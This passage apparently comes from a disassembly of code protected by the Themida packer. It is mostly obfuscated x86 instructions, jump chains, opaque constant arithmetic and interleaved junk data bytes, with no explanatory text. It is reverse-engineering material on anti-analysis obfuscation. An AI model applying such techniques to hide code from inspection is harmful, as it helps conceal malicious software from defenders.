		mov	esp, [esp]
		shl	eax, cl
		sub	esp, 4
		jmp	loc_549872
; ---------------------------------------------------------------------------
		db 31h
		dd 0E5C158C5h, 6BF58103h, 2941AF70h, 2434FFE8h,	0AEE0E95Dh
		dd 0C781FFFFh, 4, 4EF81h, 3C330000h, 243C3124h,	0E9243C33h
		dd 0FFFF293Dh, 56BD68h,	47AAE900h, 0BA52FFFFh, 0C953ECFFh
		dd 815AD731h, 29488AEEh, 81FE2932h, 29488AC6h, 2434FF32h
		dd 0FFD826E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556E25:				; CODE XREF: Themida_:00557B98j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0F82CF2h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5512BB
; ---------------------------------------------------------------------------
		align 4
		dd 8AF3E9F8h, 4BAFFFFh,	1000000h, 0BB535AD5h, 236F3BA5h
		dd 0FF6288E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556E55:				; CODE XREF: Themida_:00549CA2j
		or	eax, 6C851AD9h
		sub	eax, 1
		add	eax, 9CCFD6C6h
		mov	ebx, eax
		pop	eax
		or	edx, ebx
		jmp	loc_5471B1
; ---------------------------------------------------------------------------

loc_556E6E:				; CODE XREF: Themida_:0054803Fj
		neg	edi
		jmp	loc_546EA1
; ---------------------------------------------------------------------------

loc_556E75:				; CODE XREF: Themida_:0054BFFFj
		mov	ebp, 70E25E8Fh
		not	ebp
		and	ebp, 34CD59F1h
		shl	ebp, 2
		inc	ebp
		jmp	loc_5532C4
; ---------------------------------------------------------------------------

loc_556E8B:				; CODE XREF: Themida_:0054C0DDj
		pop	eax
		add	edi, ebx
		jmp	loc_54C30C
; ---------------------------------------------------------------------------

loc_556E93:				; CODE XREF: Themida_:005446A7j
		dec	edx
		xor	edx, 19FE1DDAh
		push	edx
		push	ebx
		pop	edx
		pop	ebx
		jmp	loc_54C68F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483240Ch, 24048F04h, 2434895Ch,	5153E689h
		dd 6EE7BE56h, 895313E2h, 5B5953F3h, 0FEE2F7E9h,	5E950FFh
		dd 53FFFF95h, 79706B68h, 0EB815B3Ch, 63E474F4h,	2B99C381h
		dd 0E3816D11h, 51054226h, 0FF6689E9h, 80CAFEFFh, 0F28001E2h
		dd 5AD32803h, 0FECDAFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556EFD:				; CODE XREF: Themida_:00558273j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	38D45AB9h
		pop	ebp
		jmp	loc_546713
; ---------------------------------------------------------------------------
		dw 3433h
		dd 14895C24h, 0E075E924h, 1C89FFFFh, 4EC8324h, 0FFC605E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556F29:				; CODE XREF: Themida_:0054A47Cj
		xor	eax, 68C11C7Bh
		jmp	loc_54824D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4892424h, 2B824h, 0C3810000h, 462C12B5h, 0EB81C329h
		dd 462C12B5h, 0FF43F2E9h, 0A7ED81FFh, 8B688523h, 0C483243Ch
		dd 242C3304h, 0FECD97E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556F65:				; CODE XREF: Themida_:005483AAj
		push	esp
		pop	eax
		jmp	loc_5509BE
; ---------------------------------------------------------------------------
		dd 2BF7E95Ch, 0FD01FFFFh, 510AC581h, 815F398Ch,	4C5h, 242C8700h
		dd 80FAE95Ch, 0FB89FFFFh, 81C3815Fh, 811E5E01h,	6D0E85EBh
		dd 52F32936h, 640C32BAh, 81D2F74Bh, 0DD51ADF2h,	69EA811Dh
		dd 0E910383Fh, 0FFFF63D9h, 3D95F781h, 0C781643Fh, 76A660D9h
		dd 0FFA0B2E9h, 65E95BFFh, 89FFFFBBh, 4C681E6h, 0E9000000h
		dd 0FFFEE7B4h
; ---------------------------------------------------------------------------

loc_556FD8:				; CODE XREF: Themida_:00551BAAj
		mov	ebp, 4
		jmp	loc_55405E
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFA86Ah
; ---------------------------------------------------------------------------

loc_556FE8:				; CODE XREF: Themida_:00547C17j
		mov	[esp], ebx
		mov	ebx, 1F933509h
		mov	esi, 66F9AB4Dh
		push	edx
		mov	edx, 244F20D1h
		add	esi, edx
		pop	edx
		sub	esi, ebx
		sub	esi, 244F20D1h
		pop	ebx
		jmp	loc_547219
; ---------------------------------------------------------------------------
		dd 54240C89h, 0E85EE959h, 489FFFFh, 274BE924h, 815FFFFFh
		dd 2ECh, 2C896600h, 2C816624h, 66FFFF24h, 0BB66535Dh, 81666994h
		dd 6672D8CBh, 6266EB81h, 5BDD2966h, 8BE83166h, 0C481242Ch
		dd 4, 50E068h, 2BEDE900h, 0EBC1FFFFh, 0BCF38106h, 0E974D0A5h
		dd 0FFFFF46Eh
; ---------------------------------------------------------------------------

loc_557068:				; CODE XREF: Themida_:00556D9Cj
		or	ebp, 4A2E6BC1h
		not	ebp
		dec	ebp
		shr	ebp, 5
		jmp	loc_548BA8
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 5Dh
		dd 5C240487h, 2DA76866h, 0FF216DE9h, 0E68956FFh, 4C681h
		dd 0C6810000h, 4, 5C243487h, 41195205h,	0FFC189FCh, 1FE92434h
		dd 8BFFFF36h, 0C483240Ch, 20796804h, 14890000h,	38E1E924h
		dd 0A568FFFFh, 8900006Eh, 0E4B42404h, 8904EC83h, 0E951241Ch
		dd 0FFFF20B4h
; ---------------------------------------------------------------------------

loc_5570D4:				; CODE XREF: Themida_:00549B9Aj
		mov	edx, esi
		jmp	loc_551E67
; ---------------------------------------------------------------------------
		db 53h
		dd 8B2414F7h, 0C483241Ch, 57EB8104h, 8182DB9Fh,	12A3E9h
		dd 0E9D92932h, 0FFFED295h, 44F9EE81h, 0CE010804h, 44F9C681h
		dd 0D1E90804h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55710B:				; CODE XREF: Themida_:005534EAj
		mov	[esp], ecx
		mov	ecx, 5D5F2B89h
		jmp	loc_54EDC1
; ---------------------------------------------------------------------------
		dd 81665F66h, 666E9CCFh, 0BFBE6656h, 0F731666Eh, 89665E66h
		dd 5E95FF9h, 0D2FFFFDEh, 0E99C240Ch, 0FFFEC15Fh
; ---------------------------------------------------------------------------

loc_55713C:				; CODE XREF: Themida_:0055168Ej
		push	esi
		push	esp
		jmp	loc_550E5D
; ---------------------------------------------------------------------------
		db 33h
		dd 0FDE92404h, 89FFFFA6h, 0E9E92424h, 1FFFF64h,	242C8BEBh
		dd 0FF912DE9h, 0E9C781FFh, 53568E48h, 8D54E2BBh, 6E3C11Fh
		dd 0FEF06DE9h, 8B665BFFh, 0C8E9241Ch, 89FFFFA3h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 0FECEFCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557191:				; CODE XREF: Themida_:0054A878j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_550D18
; ---------------------------------------------------------------------------
		dd 0CF305866h, 286C0459h, 0F419E9F8h, 0E95DFFFEh, 0FFFF2786h
		dd 0EA92E95Eh, 348BFFFFh, 4C48124h, 68000000h, 4933h, 0FEF726E9h
		dd 240481FFh, 4, 0FF884EE9h, 0F1295BFFh, 240C875Eh, 242C895Ch
		dd 2BDh, 4B22E900h, 8957FFFFh, 4C781E7h, 83000000h, 348904ECh
		dd 74A06824h, 14890000h, 0C4DBA24h, 0D2F72C3Bh,	25D1C281h
		dd 93E94165h, 0BDFFFEE9h, 4, 335DEB29h,	0BFE9241Ch, 1FFFF7Dh
		dd 5D08246Ch, 6AD5BE56h, 742969D9h, 0E95E0824h,	0FFFF0D70h
		dd 0E188D488h, 0FF06FCE9h, 240481FFh, 4, 0FF386CE9h, 4C381FFh
		dd 83000000h, 0B9E902C3h, 80FFFF46h, 0B7E9D6C2h, 1FFFFBCh
		dd 242C8BEEh, 5704C483h, 1BFh, 5FFE2900h, 178D68h, 240C8900h
		dd 820033B9h, 2E1C15Fh,	8E8BF181h, 0CE31A8D0h, 0E92434FFh
		dd 0FFFEFDABh
; ---------------------------------------------------------------------------

loc_557294:				; CODE XREF: Themida_:loc_544F4Fj
					; Themida_:005473DBj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5582DB
; ---------------------------------------------------------------------------

loc_5572A2:				; CODE XREF: Themida_:005477C1j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	4413260Ah
		pop	esi
		jmp	loc_544032
; ---------------------------------------------------------------------------
		dw 0B8B2h
		dd 80DEEA80h, 0D43013F2h, 0FFE1005Ah, 83582434h, 0C83004C4h
		dd 0FFB3AAE9h, 0E9FE29FFh, 0FFFEE7B2h, 922D4EBAh, 0C1D2F70Dh
		dd 0CEE906E2h, 81FFFF8Ch, 6DC17CE9h, 59CB01E1h,	2B850h
		dd 0C3010000h, 241C3358h, 0FFD0EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5572FD:				; CODE XREF: Themida_:0054796Dj
		mov	[esp], edi
		push	esi
		jmp	loc_54C9B7
; ---------------------------------------------------------------------------

loc_557306:				; CODE XREF: Themida_:00550410j
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	40A9h
		jmp	loc_554816
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 0BF75E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_557326:				; CODE XREF: Themida_:00551E6Aj
		mov	edx, [esp]
		add	esp, 4
		and	edi, 0CC83D59h
		xor	edi, 43B12A25h
		add	ecx, 4A5075EBh
		add	ecx, edi
		sub	ecx, 4A5075EBh
		mov	edi, [esp]
		add	esp, 4
		add	ecx, edi
		sub	ecx, 43B12F34h
		push	eax
		mov	eax, 0
		add	eax, ecx
		add	dword ptr [eax], 1
		pop	eax
		mov	ecx, [esp]
		add	esp, 4

loc_55736C:				; CODE XREF: Themida_:0055219Aj
		push	11F6h
		mov	[esp], edx
		push	esp
		jmp	loc_554776
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 250744ECh, 0FF7DECE9h, 1B0768FFh, 4EE90000h,	1FFFF37h
		dd 0FF5059C8h, 0FF042474h, 81582434h, 4C4h, 24048F00h
		dd 0FEF387E9h, 3E6C0FFh, 0E6C0C6FEh, 1DE95303h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5573B7:				; CODE XREF: Themida_:00544A94j
		add	esi, edi
		add	esi, 54B00EB9h
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 20h
		push	edi
		push	ebx
		push	36851D2Fh
		pop	ebx
		jmp	loc_549D6C
; ---------------------------------------------------------------------------

loc_5573E8:				; CODE XREF: Themida_:00555B68j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	esi
		jmp	loc_557B5D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 0FFFF591Ch, 818734FFh,	6B2B2404h
		dd 48B4B49h, 4C48124h, 52000000h, 777101BAh, 0E407E943h
		dd 0B22DFFFEh, 0E960876Ch, 0FFFF98B3h
; ---------------------------------------------------------------------------

loc_557430:				; CODE XREF: Themida_:00554811j
		sub	ecx, 0EE07CDFh
		not	ecx
		xchg	edi, ecx
		jmp	loc_54B726
; ---------------------------------------------------------------------------
		db 1
		dd 0E9835AD1h, 240C8704h, 0E924248Bh, 0FFFF400Fh
; ---------------------------------------------------------------------------

loc_557450:				; CODE XREF: Themida_:0055785Fj
		xor	esi, 5F2E787Ch
		jmp	loc_5477A3
; ---------------------------------------------------------------------------
		db 68h
		dd 731Bh, 0FF7109E9h, 24248BFFh, 0FF241489h, 0FF042474h
		dd 34FF2434h, 0C4835A24h, 0BDE95504h, 53FFFF09h, 4BBh
		dd 7EEE8100h, 1565176h,	0E6F9E9DEh, 0C781FFFFh,	4, 580B68h
		dd 24048900h, 2B8h, 4EC8300h, 0BD242C89h, 432E5BD5h, 5052CD81h
		dd 0CD810B41h, 8EE3EBCh, 0F5E5814Dh, 68260318h,	7A0Eh
		dd 0FFE1F0E9h, 815954FFh, 4C1h,	4C18300h, 8B240C87h, 14682424h
		dd 89000033h, 1868242Ch, 5D5B2822h, 253E9h, 0F4B95100h
		dd 816F7A31h, 865321E1h, 25BF5712h, 95D9927h, 243C8BF9h
		dd 4C481h, 17E90000h, 28FFFFD9h, 2D28E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55751A:				; CODE XREF: Themida_:0054A2D1j
		sub	al, cl
		sub	al, 52h
		pop	cx
		jmp	loc_543AB8
; ---------------------------------------------------------------------------

loc_557525:				; CODE XREF: Themida_:00544C6Fj
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_554485
; ---------------------------------------------------------------------------
aXhx		db 'Xhx',0Bh,0
		align 2
		dw 0A8E9h
		db 0D2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55754B:				; CODE XREF: Themida_:005452DBj
		pop	esi
		neg	esi
		shl	esi, 8
		push	ebp
		mov	ebp, 7BF9301Dh
		xor	ebp, 8406CFE2h
		add	esi, 130D4110h
		sub	esi, ebp
		jmp	loc_5439A1
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0BE990D3Eh, 22E9D029h, 8BFFFED5h, 0C4812414h, 4, 0E768C331h
		dd 0E9000078h, 0FFFFBA98h, 8B241C87h, 3C892424h, 55E78924h
		dd 0FFA311E9h, 4E883FFh, 5C240487h, 0E9241C89h,	0FFFED709h
		dd 0F280D2F6h, 2E2C072h, 98E9C2FEh
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5575BB:				; CODE XREF: Themida_:0055674Ej
		mov	ecx, [esp]
		add	esp, 4
		add	esi, eax
		pop	eax
		push	esi
		add	dword ptr [esp], 63932FEDh
		pop	eax
		sub	eax, 63932FEDh
		pop	esi
		jmp	loc_54EFA4
; ---------------------------------------------------------------------------

loc_5575D8:				; CODE XREF: Themida_:0054A8E8j
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	5E0Eh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54CF79
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 0EBE95C24h, 52FFFFFBh, 0FF4845E9h,	4BAFFh
		dd 0D7890000h, 0FF4DCCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557611:				; CODE XREF: Themida_:005510E7j
		sub	dword ptr [esp+4], 760D1D26h
		add	[esp+4], eax
		add	dword ptr [esp+4], 760D1D26h
		jmp	loc_54BFAE
; ---------------------------------------------------------------------------

loc_55762A:				; CODE XREF: Themida_:00544884j
		sub	dword ptr [esp], 14FF40C9h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54FAAB
; ---------------------------------------------------------------------------
		dd 68241489h, 0FEh, 0FF706CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557649:				; CODE XREF: Themida_:00546E66j
		mov	edi, 50F65D20h
		sub	edi, 47EF062Ah
		jmp	loc_54A379
; ---------------------------------------------------------------------------
		db 0BBh, 15h, 1Dh
		dd 2FB81A6Bh, 0E960118Ch, 0FFFFA22Ah
dword_557668	dd 28B6664h, 4EC8356h, 57242489h, 0FF6274E9h, 0F5815EFFh
					; DATA XREF: Themida_:00543058o
		dd 5ED1775Ch, 9AE9E801h, 89FFFF82h, 0E955240Ch,	0FFFFD15Fh
; ---------------------------------------------------------------------------

loc_557690:				; CODE XREF: Themida_:00552C33j
		mov	ecx, 3FD41095h
		xor	ebp, ecx
		jmp	loc_547B01
; ---------------------------------------------------------------------------
		dd 6F852D59h, 0C12D43ECh, 2910E902h, 92E956D0h,	8FFFFF50h
		dd 0A6E92404h, 0BAFFFFBAh, 4, 2D5AD001h, 4, 8B240487h
		dd 34892424h, 0A37CE924h, 0C4E9FFFFh
		db 0BBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5576D7:				; CODE XREF: Themida_:0054EDD1j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5446FF
; ---------------------------------------------------------------------------
		dd 5C240433h, 24040166h, 0BBA5E99Ch, 0DC30FFFEh, 58E1885Bh
		dd 0FF9955E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557701:				; CODE XREF: Themida_:00549BD4j
		pop	edx
		jmp	loc_546F3E
; ---------------------------------------------------------------------------

loc_557707:				; CODE XREF: Themida_:0054874Aj
		xchg	ebp, [esp]
		pop	esp
		sub	bl, al
		push	edx
		mov	dh, 0CFh
		jmp	loc_544BF3
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0E4E9E689h, 66FFFF6Ah, 0C581665Ah, 166B673h,	34FF5DE8h
		dd 8CE95B24h, 53FFFF9Ch, 0FFC0A8E9h, 1ABD55FFh,	0E901BF5Ah
		dd 0FFFED152h, 68h, 60B8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55774E:				; CODE XREF: Themida_:0054D2EEj
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	77ACh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3B94226Ch
		jmp	loc_551FBC
; ---------------------------------------------------------------------------

loc_557773:				; CODE XREF: Themida_:0055599Fj
		mov	[esp], ecx
		push	ebx
		mov	ebx, 51273F6Ah
		xor	ebx, 0C093909h
		jmp	loc_5500DF
; ---------------------------------------------------------------------------

loc_557787:				; CODE XREF: Themida_:005564D1j
		add	esp, 4
		jmp	loc_548E9C
; ---------------------------------------------------------------------------

loc_557792:				; CODE XREF: Themida_:00547504j
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 14040B9Ch
		add	ebx, 6011013h
		sub	ebx, 4A0472F8h
		add	ebx, ecx
		add	ebx, 4A0472F8h
		sub	ebx, 6011013h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, 4
		jmp	loc_54EE36
; ---------------------------------------------------------------------------

loc_5577CA:				; CODE XREF: Themida_:0054ABBBj
		inc	ebx
		xchg	esi, ebx
		jmp	loc_552537
; ---------------------------------------------------------------------------

loc_5577D2:				; CODE XREF: Themida_:005579F2j
		push	esi
		mov	esi, 4
		push	ecx
		mov	ecx, 33095BDEh
		add	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 751060D8h
		not	ecx
		sub	ecx, 8360C2Bh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 34D2607Fh
		or	ecx, ebx
		pop	ebx
		shl	ecx, 4
		xor	ecx, 2860131Ah
		jmp	loc_54F436
; ---------------------------------------------------------------------------
aS_8		db ']И',27h,8,0
		dd 81DBF700h, 0DF290EF3h, 5BD829B5h, 48BC389h, 4C48124h
		dd 81000000h, 902E48E3h, 13E38114h, 0E942042Ch,	0FFFFBF49h
		dd 1874EE81h, 0DE0100D8h, 1874C681h, 1C8B00D8h,	4C48124h
		dd 0E9000000h, 0FFFF066Ah
; ---------------------------------------------------------------------------

loc_557854:				; CODE XREF: Themida_:0054A0F9j
		mov	esi, 3CC67B4Eh
		or	esi, 770D6651h
		jmp	loc_557450
; ---------------------------------------------------------------------------

loc_557864:				; CODE XREF: Themida_:0055348Cj
		pop	ebx
		add	bl, 0BBh
		add	bl, dl
		sub	bl, 0BBh
		jmp	loc_558361
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0F299E924h
		db 0FEh, 0FFh
word_55787A	dw 34FFh		; DATA XREF: Themida_:00543180o
		dd 0AA89E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557882:				; CODE XREF: Themida_:0054D186j
		neg	dword ptr [esp]
		pop	ebp
		sub	ebp, 0DF0397D6h
		jmp	loc_553BDB
; ---------------------------------------------------------------------------

loc_557891:				; CODE XREF: Themida_:0054D1B7j
		add	esi, 4B3E21E5h
		sub	esi, eax
		jmp	loc_5451BA
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 79EC381h, 0EB8146BFh, 281D026Ah, 0FF11ABE9h,	0D3E954FFh
		dd 0B2FFFFC9h, 7E2C0A8h, 0FFF99AE9h, 243431FFh,	0FFF649E9h
		dd 7CE668FFh, 0A3E90000h, 81FFFF49h, 0F404246Ch, 0E905604Ah
		dd 0FFFF437Dh, 0E904C483h, 0FFFFA280h, 4602CD81h, 0ED815E18h
		dd 6085915h, 0DBECED81h, 0EF29089Bh, 242C8B5Dh,	4C481h
		dd 0EA810000h, 76D75B97h, 0C281FA01h, 76D75B97h, 2414875Fh
		dd 24248Bh, 0E99C2404h,	0FFFEB977h, 4EC81h, 0C890000h
		dd 0C453E924h, 420FFFFh, 60E99C24h
		db 0B9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55793B:				; CODE XREF: Themida_:00549E1Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5439AE
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0BCh
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_557953:				; CODE XREF: Themida_:0054D2E7j
		add	ecx, edx
		sub	ecx, 41670E80h
		push	edi
		mov	edi, 64497E3Fh
		neg	edi
		xor	edi, 533500F6h
		add	edi, 7D8CF789h
		sub	ecx, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	27BCh
		mov	[esp], esi
		mov	esi, 65353934h
		jmp	loc_5472E5
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 24048B54h, 4C481h, 0B9510000h, 0BED3594h, 0DB95156h
		dd 0BE734861h, 0B090CE7Dh, 159CE01h, 0EC815EF1h, 4, 0FF56FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5579C9:				; CODE XREF: Themida_:00556A42j
		push	dword ptr [edi+eax*4]
		jmp	loc_543332
; ---------------------------------------------------------------------------

loc_5579D1:				; CODE XREF: Themida_:0054BFA9j
		inc	dh
		dec	dh
		neg	dh
		jmp	loc_552FD0
; ---------------------------------------------------------------------------
		dd 462BC02Dh, 0E9D80179h, 0FFFF7DF3h
; ---------------------------------------------------------------------------

loc_5579E8:				; CODE XREF: Themida_:00550B18j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_5577D2
; ---------------------------------------------------------------------------

loc_5579F7:				; CODE XREF: Themida_:00554891j
		add	cl, 0FFh
		sub	ah, cl
		pop	ecx
		sub	bl, ah
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 13h
		xor	cl, 44h
		add	bl, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0F9h
		sub	bl, al
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_557A21	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:00542FB8o
		dd 81ECE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557A2A:				; CODE XREF: Themida_:00553DC1j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		jmp	loc_54CEBE
; ---------------------------------------------------------------------------

loc_557A3A:				; CODE XREF: Themida_:00545C57j
		not	ebx
		dec	ebx
		sub	ebx, 0C99FFBA3h
		and	edi, ebx
		pop	ebx
		push	eax
		push	ebx
		push	53C32F04h
		pop	ebx
		inc	ebx
		jmp	loc_54A8DC
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0D0682414h, 8900005Bh, 3DBF243Ch,	0F747E74Fh
		dd 82F781D7h, 815AFD15h, 52090CE7h, 0F8E9504Ah
		db 0BAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_557A7B:				; CODE XREF: Themida_:00550467j
		xor	eax, 8A46A489h
		xor	edx, eax
		pop	eax
		shr	edx, 5
		jmp	loc_54D158
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF1A50E9h, 2434FFFFh, 0E689565Dh, 4BD55h, 0EE010000h
		dd 4C6815Dh, 87000000h,	0E95C2434h, 0FFFF9F07h,	405h, 13FEE900h
		dd 815AFFFFh, 4C2h, 56E95300h, 81FFFFDAh, 4B852CC1h, 4815146h
		dd 0A1280924h, 0EF815F30h, 30A12809h, 0E9240C8Bh, 0FFFFE7E8h
		dd 65913105h, 0C0BE928h, 0EA89FFFFh, 0FFC1FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557AF5:				; CODE XREF: Themida_:00543516j
		pop	eax
		pop	ecx
		pop	ecx
		jmp	loc_547AE0
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 0C4835824h, 4BE5604h, 1000000h, 83F4E9F0h, 0BF57FFFFh
		dd 492C19E1h, 3DB9C181h, 0F9016947h, 3DB9E981h,	34FF6947h
		dd 0E9565F24h, 0FFFEC526h, 5B4A9EBDh, 0F624E92Dh
		db 0FEh, 0FFh
word_557B3A	dw 34FFh		; DATA XREF: Themida_:00543004o
		dd 2434FF24h, 0FEDC71E9h, 5E089FFh, 4, 4BB53h, 0B0E90000h
		dd 5AFFFF42h, 0FEFE6EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557B5D:				; CODE XREF: Themida_:005573F6j
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		push	5F31h
		mov	[esp], edx
		push	ecx
		jmp	loc_54EBCE
; ---------------------------------------------------------------------------

loc_557B82:				; CODE XREF: Themida_:00544B0Cj
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_548D92
; ---------------------------------------------------------------------------

loc_557B95:				; CODE XREF: Themida_:00548E07j
		shr	eax, 5
		jmp	loc_556E25
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 46h
		dd 4952F530h, 0B07BE981h, 0C8019A49h, 1B70E959h, 0EAB4FFFFh
		dd 0F58E300h, 8B66C0B6h, 0BF682414h, 89000018h,	0E954243Ch
		dd 0FFFECE31h, 2B9h, 8BC80100h,	8953240Ch, 360E9E3h, 0C481FFFFh
		dd 4, 4BFFBB53h, 19E917CEh, 5DFFFF92h, 470F181h, 0E9811629h
		dd 0E4343125h, 159CD29h, 4EC81FDh, 89000000h, 39E9240Ch
		dd 1FFFFDDh, 5E042474h,	8124348Bh, 4C4h, 4C68100h, 53000000h
		dd 0DE34E952h, 0CE81FFFFh, 3EC2559Dh, 0FF1449E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557C35:				; CODE XREF: Themida_:0054986Dj
		mov	esi, 0CC9C3A9h
		sub	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		jmp	loc_549FFE
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 2Ch
		dd 5D77D424h, 2404014Dh, 0FF18EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557C71:				; CODE XREF: Themida_:005438A5j
		push	44882C5Bh
		jmp	loc_54A284
; ---------------------------------------------------------------------------
byte_557C7B	db 0ACh			; DATA XREF: Themida_:00543120o
		dd 4EC81h, 14890000h, 0C0B5B624h, 0F68005EEh, 283E2CA7h
		dd 5A3E04F0h, 0F9E9512Ch, 50FFFFE0h, 0BD55E089h, 5990628Dh
		dd 55D5F74Dh, 835F5D57h, 0D1E901EFh
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_557CB3:				; CODE XREF: Themida_:005508F9j
		mov	ecx, 5A9243E6h
		shr	ecx, 4
		inc	ecx
		add	ecx, 0B1BE8C00h
		add	edx, ecx
		pop	ecx
		mov	ebx, edx
		jmp	loc_551ACB
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 8FD1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557CDA:				; CODE XREF: Themida_:0054F15Fj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	7DAFh
		mov	[esp], edx
		push	ax
		jmp	loc_54B1EE
; ---------------------------------------------------------------------------

loc_557CF1:				; CODE XREF: Themida_:0054A3C6j
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		add	ecx, 234BC46Eh
		sub	edx, ecx
		jmp	loc_5583C9
; ---------------------------------------------------------------------------
		dw 0F3B8h
		dd 29713F69h, 0ED8158C5h, 8AD61107h, 5E5DEB29h,	0FEC37DE9h
		dd 97C581FFh, 0E94EED96h, 0FFFEEE1Fh, 67B9685Ah, 4890000h
		dd 591FB824h, 0C6316FC5h, 0FF6B9FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557D39:				; CODE XREF: Themida_:00552A36j
		mov	ecx, 3B7831E9h
		jmp	loc_547BFE
; ---------------------------------------------------------------------------
		db 53h
		dd 0D800E1B3h, 2CD0285Bh, 5B665AE1h, 50E38953h,	0FF41C3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557D59:				; CODE XREF: Themida_:005582E1j
		sub	edx, esi
		pop	esi
